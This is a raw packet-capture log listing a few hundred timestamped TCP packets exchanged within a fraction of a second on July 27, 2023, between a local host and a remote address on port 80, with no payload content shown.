Jul 27, 2023 18:27:05.110388994 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110409021 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110435963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110436916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110487938 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110517025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110538006 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110546112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110574961 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110589981 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110599995 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110626936 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111262083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111293077 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111320019 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111321926 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111350060 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111377954 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111390114 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111407042 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111435890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111447096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111464977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111494064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111501932 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111522913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111551046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111552954 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111579895 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111610889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111610889 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111640930 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111669064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111695051 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111696959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111718893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111726046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111754894 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111782074 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111807108 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111809969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111824989 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111839056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111890078 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111912012 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.111920118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111949921 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.111978054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112003088 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112020969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112030983 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112060070 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112071037 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112088919 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112091064 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112118006 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112140894 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112149000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112175941 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112205029 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112232924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112251043 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112253904 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112294912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112341881 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112374067 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112380028 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112418890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112456083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112473011 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112493038 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112530947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112544060 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112570047 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112596035 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112607956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112647057 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112684011 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112711906 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112721920 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112749100 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112761021 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112798929 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112823963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112837076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112876892 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112921000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112927914 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.112974882 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.112979889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113018036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113055944 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113094091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113095045 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113131046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113146067 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113171101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113208055 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113248110 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113274097 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113298893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113317013 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113353014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113392115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113406897 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113430977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113468885 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113507032 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113518000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113545895 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113583088 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113584042 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113624096 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113641977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113663912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113702059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113729000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113751888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113790989 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113802910 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113828897 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113866091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113903999 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113917112 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113943100 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.113976002 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.113981009 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114022017 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114047050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114084959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114123106 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114160061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114171982 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114197969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114207029 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114234924 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114272118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114310026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114345074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114346981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114362955 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114412069 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114449978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114478111 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114487886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114526987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114561081 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114569902 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114605904 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114639044 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114645004 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114682913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114720106 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114757061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114788055 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114793062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114809036 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114830971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114869118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114896059 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114907026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114943027 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.114945889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114984035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.114994049 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115021944 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115060091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115093946 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115123987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115163088 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115170956 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115200996 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115238905 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115276098 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115284920 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115314007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115329027 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115351915 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115391016 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115428925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115432024 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115483046 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115494967 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115534067 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115572929 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115612984 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115621090 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115649939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115665913 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115688086 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115725040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115761995 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115772009 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115801096 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115814924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115839958 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115876913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115916014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115942955 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115953922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.115959883 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.115992069 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116029024 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116065979 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116075993 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116103888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116117954 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116153955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116208076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116245031 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116250992 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116295099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116319895 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116334915 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116373062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116393089 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116410017 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116447926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116485119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116509914 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116529942 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116552114 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116590977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116627932 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116664886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116672993 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116703033 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116712093 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116741896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116781950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116801977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116830111 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116868019 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116868019 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116909981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116939068 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116947889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.116977930 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.116986036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117024899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117055893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117063046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117103100 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117124081 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117140055 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117177010 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117202044 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117238045 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117290974 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117324114 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117330074 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117362976 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117369890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117408991 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117445946 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117446899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117486000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117497921 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117522955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117559910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117578983 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117624998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117664099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117681026 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117702007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117739916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117743015 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117789984 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117827892 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117860079 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117866993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117908001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117947102 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117954016 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.117985010 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.117997885 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118025064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118062019 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118099928 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118122101 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118138075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118166924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118175983 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118213892 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118242025 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118251085 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118289948 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118309021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118360043 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118398905 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118406057 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118437052 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118474007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118491888 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118513107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118550062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118566990 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118587971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118624926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118658066 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118690014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118729115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118766069 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118779898 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118803978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118814945 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118843079 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118880033 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118918896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118928909 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118956089 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.118968964 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.118994951 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119031906 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119069099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119085073 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119107008 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119112968 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119146109 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119183064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119220018 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119244099 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119259119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119261980 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119296074 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119334936 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119373083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119388103 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119421959 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119436979 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119474888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119510889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119548082 CEST	80	49710	188.114.97.7	192.168.2.4
